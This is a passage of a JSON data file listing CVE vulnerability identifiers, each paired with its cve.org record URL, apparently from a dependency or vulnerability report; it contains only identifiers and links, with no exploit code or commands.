      "name": "CVE-2026-95680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95680"
    },
    {
      "name": "CVE-2026-101908",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101908"
    },
    {
      "name": "CVE-2026-77185",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77185"
    },
    {
      "name": "CVE-2026-59276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59276"
    },
    {
      "name": "CVE-2026-41603",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41603"
    },
    {
      "name": "CVE-2026-93558",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
    },
    {
      "name": "CVE-2026-15055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15055"
    },
    {
      "name": "CVE-2026-90560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90560"
    },
    {
      "name": "CVE-2026-39820",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
    },
    {
      "name": "CVE-2026-86087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86087"
    },
    {
      "name": "CVE-2026-14682",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14682"
    },
    {
      "name": "CVE-2026-84303",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
    },
    {
      "name": "CVE-2026-101907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101907"
    },
    {
      "name": "CVE-2026-23103",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-23103"
    },
    {
      "name": "CVE-2026-73180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
    },
    {
      "name": "CVE-2026-68315",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68315"
    },
    {
      "name": "CVE-2026-15412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15412"
    },
    {
      "name": "CVE-2026-14662",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
    },
    {
      "name": "CVE-2026-58061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58061"
    },
    {
      "name": "CVE-2026-73076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73076"
    },
    {
      "name": "CVE-2026-10841",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10841"
    },
    {
      "name": "CVE-2026-16118",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
    },
    {
      "name": "CVE-2026-84394",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84394"
    },
    {
      "name": "CVE-2026-78676",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78676"
    },
    {
      "name": "CVE-2026-68376",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68376"
    },
    {
      "name": "CVE-2026-19203",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19203"
    },
    {
      "name": "CVE-2022-23305",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-23305"
    },
    {
      "name": "CVE-2026-71225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71225"
    },
    {
      "name": "CVE-2026-40458",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40458"
    },
    {
      "name": "CVE-2022-35583",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-35583"
    },
    {
      "name": "CVE-2026-66053",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66053"
    },
    {
      "name": "CVE-2026-5795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5795"
    },
    {
      "name": "CVE-2026-59857",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59857"
    },
    {
      "name": "CVE-2026-40975",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40975"
    },
    {
      "name": "CVE-2026-6470",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
    },
    {
      "name": "CVE-2026-89425",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
    },
    {
      "name": "CVE-2026-14669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
    },
    {
      "name": "CVE-2026-43870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43870"
    },
    {
      "name": "CVE-2016-1000342",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000342"
    },
    {
      "name": "CVE-2024-53161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-53161"
    },
    {
      "name": "CVE-2026-100655",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100655"
    },
    {
      "name": "CVE-2026-105442",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105442"
    },
    {
      "name": "CVE-2026-67317",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67317"
    },
    {
      "name": "CVE-2026-77762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
    },
    {
      "name": "CVE-2026-93566",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
    },
    {
      "name": "CVE-2026-71226",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71226"
    },
    {
      "name": "CVE-2026-17508",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17508"
    },
    {
      "name": "CVE-2026-78383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
    },
    {
      "name": "CVE-2016-1000339",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000339"
    },
    {
      "name": "CVE-2009-2625",
      "url": "https://www.cve.org/CVERecord?id=CVE-2009-2625"
    },
    {
      "name": "CVE-2026-47027",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
    },
    {
      "name": "CVE-2026-47058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
    },
    {
      "name": "CVE-2026-49875",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49875"
    },
    {
      "name": "CVE-2026-18149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18149"
    },
    {
      "name": "CVE-2026-101898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101898"
    },
    {
      "name": "CVE-2022-23307",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-23307"
    },
    {
      "name": "CVE-2026-16441",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
    },
    {
      "name": "CVE-2026-14678",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
    },
    {
      "name": "CVE-2026-58060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58060"
    },
    {
      "name": "CVE-2026-68143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68143"
    },
    {
      "name": "CVE-2026-86350",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
    },
    {
      "name": "CVE-2026-47045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47045"
    },
    {
      "name": "CVE-2026-53182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53182"
    },
    {
      "name": "CVE-2026-33811",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
    },
    {
      "name": "CVE-2026-41843",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41843"
    },
    {
      "name": "CVE-2026-22741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22741"
    },
    {
      "name": "CVE-2026-82596",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82596"
    },
    {
      "name": "CVE-2021-22060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-22060"
    },
    {
      "name": "CVE-2026-19931",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
    },
    {
      "name": "CVE-2026-12802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12802"
    },
    {
      "name": "CVE-2026-59281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59281"
    },
    {
      "name": "CVE-2026-10649",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10649"
    },
    {
      "name": "CVE-2026-68117",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68117"
    },
    {
      "name": "CVE-2026-101294",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101294"
    },
    {
      "name": "CVE-2026-54512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
    },
    {
      "name": "CVE-2025-68745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68745"
    },
    {
      "name": "CVE-2026-101909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101909"
    },
    {
      "name": "CVE-2026-58063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58063"
    },
    {
      "name": "CVE-2026-47167",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47167"
    },
    {
      "name": "CVE-2026-41850",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41850"
    },
    {
      "name": "CVE-2026-78254",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78254"
    },
    {
      "name": "CVE-2026-67319",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67319"
    },
    {
      "name": "CVE-2026-101901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101901"
    },
    {
      "name": "CVE-2026-46266",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46266"
    },
    {
      "name": "CVE-2026-40992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40992"
    },
    {
      "name": "CVE-2026-70907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70907"
    },
    {
      "name": "CVE-2026-59646",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59646"
    },
    {
      "name": "CVE-2026-18924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
    },
    {
      "name": "CVE-2026-93441",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93441"
    },
    {
      "name": "CVE-2026-82209",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
    },
    {
      "name": "CVE-2026-91777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
    },
    {
      "name": "CVE-2026-15741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
    },
    {
      "name": "CVE-2026-63382",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
    },
    {
      "name": "CVE-2026-53228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53228"
    },
    {
      "name": "CVE-2026-14677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
    },
    {
      "name": "CVE-2026-41586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41586"
    },
    {
      "name": "CVE-2022-22968",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-22968"
    },
    {
      "name": "CVE-2026-95695",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95695"
    },
    {
      "name": "CVE-2026-84304",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
    },
    {
      "name": "CVE-2026-47063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
    },
    {
      "name": "CVE-2026-29062",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29062"
    },
    {
      "name": "CVE-2026-12816",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12816"
    },
    {
      "name": "CVE-2026-59083",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
    },
    {
      "name": "CVE-2026-64117",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64117"
    },
    {
      "name": "CVE-2026-63383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
    },
    {
      "name": "CVE-2026-59888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
    },
    {
      "name": "CVE-2026-73078",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73078"
    },
    {
      "name": "CVE-2026-84939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84939"
    },
    {
      "name": "CVE-2026-84961",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84961"
    },
    {
      "name": "CVE-2026-47021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
    },
    {
      "name": "CVE-2026-14680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
    },
    {
      "name": "CVE-2026-41852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41852"
    },
    {
      "name": "CVE-2026-16440",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16440"
    },
    {
      "name": "CVE-2026-84933",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84933"
    },
    {
      "name": "CVE-2026-14666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
    },
    {
      "name": "CVE-2026-64113",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64113"
    },
    {
      "name": "CVE-2026-66422",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
    },
    {
      "name": "CVE-2026-33997",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
    },
    {
      "name": "CVE-2025-8714",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
    },
    {
      "name": "CVE-2026-78437",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
    },
    {
      "name": "CVE-2023-20863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-20863"
    },
    {
      "name": "CVE-2026-45205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
    },
    {
      "name": "CVE-2026-59314",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59314"
    },
    {
      "name": "CVE-2026-53268",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53268"
    },
    {
      "name": "CVE-2026-13506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
    },
    {
      "name": "CVE-2026-53223",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53223"
    },
    {
      "name": "CVE-2026-35172",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35172"
    },
    {
      "name": "CVE-2026-75899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75899"
    },
    {
      "name": "CVE-2026-14673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
    },
    {
      "name": "CVE-2026-49844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
    },
    {
      "name": "CVE-2026-42583",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42583"
    },
    {
      "name": "CVE-2022-34169",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-34169"
    },
    {
      "name": "CVE-2026-41851",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41851"
    },
    {
      "name": "CVE-2026-54370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
    },
    {
      "name": "CVE-2022-22970",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-22970"
    },
    {
      "name": "CVE-2026-46968",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
    },
    {
      "name": "CVE-2026-43133",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43133"
    },
    {
      "name": "CVE-2026-50010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
    },
    {
      "name": "CVE-2014-0107",
      "url": "https://www.cve.org/CVERecord?id=CVE-2014-0107"
    },
    {
      "name": "CVE-2026-53275",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53275"
    },
    {
      "name": "CVE-2026-39836",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
    },
    {
      "name": "CVE-2026-52920",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52920"
    },
    {
      "name": "CVE-2026-14663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
    },
    {
      "name": "CVE-2026-50219",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
    },
    {
      "name": "CVE-2022-23437",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-23437"
    },
    {
      "name": "CVE-2026-63379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
    },
    {
      "name": "CVE-2026-82562",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
    },
    {
      "name": "CVE-2026-45191",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45191"
    },
    {
      "name": "CVE-2026-76218",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76218"
    },
    {
      "name": "CVE-2026-41841",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41841"
    },
    {
      "name": "CVE-2026-18540",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18540"
    },
    {
      "name": "CVE-2026-41605",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41605"
    },
    {
      "name": "CVE-2026-54517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
    },
    {
      "name": "CVE-2026-74761",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74761"
    },
    {
      "name": "CVE-2024-38808",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38808"
    },
    {
      "name": "CVE-2016-1000340",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000340"
    },
    {
      "name": "CVE-2026-40973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40973"
    },
    {
      "name": "CVE-2026-11722",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11722"
    },
    {
      "name": "CVE-2026-63385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
    },
    {
      "name": "CVE-2026-74556",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74556"
    },
    {
      "name": "CVE-2026-63387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
    },
    {
      "name": "CVE-2026-46149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46149"
    },
    {
      "name": "CVE-2026-100656",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100656"
    },
    {
      "name": "CVE-2026-63971",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63971"
    },
    {
      "name": "CVE-2026-89044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
    },
    {
      "name": "CVE-2026-65905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
    },
    {
      "name": "CVE-2026-16439",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
    },
    {
      "name": "CVE-2026-85024",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85024"
    },
    {
      "name": "CVE-2026-42499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
    },
    {
      "name": "CVE-2026-56745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
    },
    {
      "name": "CVE-2025-69277",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69277"
    },
    {
      "name": "CVE-2026-52986",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52986"
    },
    {
      "name": "CVE-2026-63919",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63919"
    },
    {
      "name": "CVE-2026-93488",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
    },
    {
      "name": "CVE-2021-44228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-44228"
    },
    {
      "name": "CVE-2026-22735",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22735"
    },
    {
      "name": "CVE-2026-59642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59642"
    },
    {
      "name": "CVE-2020-15522",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-15522"
    },
    {
      "name": "CVE-2026-80231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
    },
    {
      "name": "CVE-2026-61308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-61308"
    },
    {
      "name": "CVE-2026-75931",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75931"
    },
    {
      "name": "CVE-2026-87958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87958"
    },
    {
      "name": "CVE-2026-22745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22745"
    },
    {
      "name": "CVE-2024-30171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-30171"
    },
    {
      "name": "CVE-2026-42587",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
    },
    {
      "name": "CVE-2016-1000352",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000352"
    },
    {
      "name": "CVE-2026-54513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
    },
    {
      "name": "CVE-2026-72098",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-72098"
    },
    {
      "name": "CVE-2026-46306",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46306"
    },
    {
      "name": "CVE-2022-4245",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-4245"
    },
    {
      "name": "CVE-2026-65927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
    },
    {
      "name": "CVE-2026-87823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87823"
    },
    {
      "name": "CVE-2026-9563",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9563"
    },
    {
      "name": "CVE-2026-59280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59280"
    },
    {
      "name": "CVE-2026-59638",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59638"
    },
    {
      "name": "CVE-2026-87825",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87825"
    },
    {
      "name": "CVE-2026-54518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
    },
    {
      "name": "CVE-2026-6464",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
    },
    {
      "name": "CVE-2026-60589",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-60589"
    },
    {
      "name": "CVE-2026-67312",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67312"
    },
    {
      "name": "CVE-2022-0235",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-0235"
    },
    {
      "name": "CVE-2022-23302",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-23302"
    },
    {
      "name": "CVE-2026-10051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10051"
    },
    {
      "name": "CVE-2026-6322",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
    },
    {
      "name": "CVE-2026-43869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43869"
    },
    {
      "name": "CVE-2026-58062",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58062"
    },
    {
      "name": "CVE-2026-6471",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
    },
    {
      "name": "CVE-2025-41249",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-41249"
    },
    {
      "name": "CVE-2026-12143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
    },
    {
      "name": "CVE-2026-43233",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43233"
    },
    {
      "name": "CVE-2026-89045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89045"
    },
    {
      "name": "CVE-2022-4244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-4244"
    },
    {
      "name": "CVE-2026-50633",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50633"
    },
    {
      "name": "CVE-2026-68300",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68300"
    },
    {
      "name": "CVE-2026-67318",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67318"
    },
    {
      "name": "CVE-2026-109839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-109839"
    },
    {
      "name": "CVE-2026-63381",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
    },
    {
      "name": "CVE-2026-90852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90852"
    },
    {
      "name": "CVE-2024-22259",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-22259"
    },
    {
      "name": "CVE-2026-47060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47060"
    },
    {
      "name": "CVE-2026-75973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
    },
    {
      "name": "CVE-2020-5397",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-5397"
    },
    {
      "name": "CVE-2026-14679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
    },
    {
      "name": "CVE-2026-12803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12803"
    },
    {
      "name": "CVE-2026-86472",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86472"
    },
    {
      "name": "CVE-2026-8384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8384"
    },
    {
      "name": "CVE-2026-53075",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53075"
    },
    {
      "name": "CVE-2026-53246",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53246"
    },
    {
      "name": "CVE-2026-52859",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52859"
    },
    {
      "name": "CVE-2026-93907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93907"
    },
    {
      "name": "CVE-2026-59650",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59650"
    },
    {
      "name": "CVE-2016-1000344",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000344"
    },
    {
      "name": "CVE-2026-89407",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
    },
    {
      "name": "CVE-2026-0636",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0636"
    },
    {
      "name": "CVE-2026-14672",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14672"
    },
    {
      "name": "CVE-2026-40976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40976"
    },
    {
      "name": "CVE-2026-64015",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64015"
    },
    {
      "name": "CVE-2020-15168",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-15168"
    },
    {
      "name": "CVE-2026-84890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84890"
    },
    {
      "name": "CVE-2020-14338",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-14338"
    },
    {
      "name": "CVE-2026-63388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
    },
    {
      "name": "CVE-2026-47883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47883"
    },
    {
      "name": "CVE-2026-19032",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
    },
    {
      "name": "CVE-2026-42579",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
    },
    {
      "name": "CVE-2026-56132",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
    },
    {
      "name": "CVE-2025-71127",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-71127"
    },
    {
      "name": "CVE-2026-76217",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76217"
    },
    {
      "name": "CVE-2026-55892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55892"
    },
    {
      "name": "CVE-2026-109838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-109838"
    },
    {
      "name": "CVE-2026-55833",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
    },
    {
      "name": "CVE-2026-13586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13586"
    },
    {
      "name": "CVE-2021-22096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-22096"
    },
    {
      "name": "CVE-2019-17359",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-17359"
    },
    {
      "name": "CVE-2026-105443",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105443"
    },
    {
      "name": "CVE-2026-74480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74480"
    },
    {
      "name": "CVE-2026-56819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
    },
    {
      "name": "CVE-2026-63889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63889"
    },
    {
      "name": "CVE-2026-75975",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75975"
    },
    {
      "name": "CVE-2026-14664",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
    },
    {
      "name": "CVE-2026-101900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101900"
    },
    {
      "name": "CVE-2026-59639",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59639"
    },
    {
      "name": "CVE-2026-41840",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41840"
    },
    {
      "name": "CVE-2026-86093",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86093"
    },
    {
      "name": "CVE-2018-1000180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1000180"
    },
    {
      "name": "CVE-2026-68494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
    },
    {
      "name": "CVE-2026-89046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89046"
    },
    {
      "name": "CVE-2026-14670",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
    },
    {
      "name": "CVE-2026-46917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46917"
    },
    {
      "name": "CVE-2026-60147",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
    },
    {
      "name": "CVE-2026-47889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47889"
    },
    {
      "name": "CVE-2026-64007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64007"
    },
    {
      "name": "CVE-2026-79677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
    },
    {
      "name": "CVE-2025-31936",
